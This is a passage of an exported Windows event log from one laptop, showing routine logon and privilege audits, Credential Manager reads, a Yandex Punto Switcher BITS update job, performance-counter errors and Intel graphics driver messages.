ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x25e8\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.015\t3\t\"The BITS service created a new job.\nTransfer job: Yupdate-task\nJob ID: {a9ba6902-5270-40a5-8951-0fc967a4de1c}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\punto.exe\nProcess ID: 16120\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.022\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.024\t6\tCommand-line command set for job {a9ba6902-5270-40a5-8951-0fc967a4de1c} with owner HONOR-FRG-X\\admin. Program: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\Updater\\yupdate.exe Args: C:\\Users\\admin\\AppData\\Local\\Yandex\\Punto Switcher\\Updater\\yupdate.exe  --stat-callback 0 --appid punto --job {A9BA6902-5270-40A5-8951-0FC967A4DE1C}.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.072\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 1 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 9 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 17 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.073\t16\tCounter 18 of instance ({cd376bd3-9f6b-48c0-840e-1816b7a50fdc}, \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:32.191\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.195\t59\tBITS started the Yupdate-task transfer job that is associated with the http://soft.export.yandex.ru/status.xml?yasoft=punto&clid=1551207&ui={EB66A6CA-1EF6-4210-8E2E-D6D3B48CAC9D}&ver=4.5.0.583&os=win&stat=dayuse&ch=1&launchesAsAdmin=0&os=win10x64&osver=win10x64&usesAutocorrection=0&usesDiary=0&uv=1.2.0.1831&ww=1&fd=19.05.2026 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.248\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.270\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.271\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:32.282\t60\tBITS stopped transferring the Yupdate-task transfer job that is associated with the http://soft.export.yandex.ru/status.xml?yasoft=punto&clid=1551207&ui={EB66A6CA-1EF6-4210-8E2E-D6D3B48CAC9D}&ver=4.5.0.583&os=win&stat=dayuse&ch=1&launchesAsAdmin=0&os=win10x64&osver=win10x64&usesAutocorrection=0&usesDiary=0&uv=1.2.0.1831&ww=1&fd=19.05.2026 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.341\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Yupdate-task\nJob ID: {a9ba6902-5270-40a5-8951-0fc967a4de1c}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:29:32.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.408\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.434\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.441\t42\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics adapter: Intel(R) Arc(TM) Graphics\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.446\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.446\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.495\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.501\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"IGCL Adapter initialized\",\"parameters\":{\"pciVendorID\":32902,\"pciDeviceID\":32085,\"pciRevisionID\":8,\"pciSubSysID\":8453,\"pciSubSysVendorID\":7911,\"numEUsPerSubSlice\":16,\"numSubSlicesPerSlice\":3,\"numSlices\":2,\"frequency\":2200,\"xeCores\":7,\"driverVersion\":\"32.0.101.8974\",\"firmwareVersion\":\"22.0.1067.0\",\"deviceName\":\"Intel(R) Arc(TM) Graphics\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.526\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.760\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Maximum display vrr range\",\"parameters\":{\"minVrrRefreshRate\":24,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.763\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"Current Display vrr range\",\"parameters\":{\"minVrrRefreshRate\":30,\"maxVrrRefreshRate\":120}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.774\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.776\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.777\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.780\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:32.784\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"SupportedColorFormatAndDepth\",\"parameters\":{\"Display\":\"Internal\",\"Supported\":true,\"CurrentPixelFormat\":\"RGB\",\"CurrentColorDepth\":\"BPC_8\",\"PixelFormat RGB\":\"7FFC54E9D31C\",\"PixelFormat YCBCR_420\":\"7FFC54E9D314\",\"PixelFormat YCBCR_422\":\"7FFC54E9D314\",\"PixelFormat YCBCR_444\":\"7FFC54E9D314\",\"ColorDepth 6bpc\":\"7FFC54E9D314\",\"ColorDepth 8bpc\":\"7FFC54E9D31C\",\"ColorDepth 10bpc\":\"7FFC54E9D31C\",\"ColorDepth 12bpc\":\"7FFC54E9D314\"}}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.805\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.805\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.806\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - start\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.806\t42\t{\"category\":\"Igcl\",\"level\":\"Information\",\"message\":\"3rd Party - getDisplaySettings - stop\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.812\t42\t{\"category\":\"CtlLibGraphicsController\",\"level\":\"Information\",\"message\":\"Graphics display: Internal - 8388688\"}\tInformation\tIntel-IGS-Logs/Overlay\tIntel-IGS-Logs\n05.09.2026 08:29:32.919\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.059\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.207\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.351\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.499\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.639\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.783\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:33.936\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.067\t26\tWindows Update successfully found 0 updates.\tInformation\tMicrosoft-Windows-WindowsUpdateClient/Operational\tMicrosoft-Windows-WindowsUpdateClient\n05.09.2026 08:29:34.072\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.215\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.268\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.304\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:34.309\t5379\t\"Credential Manager credentials were 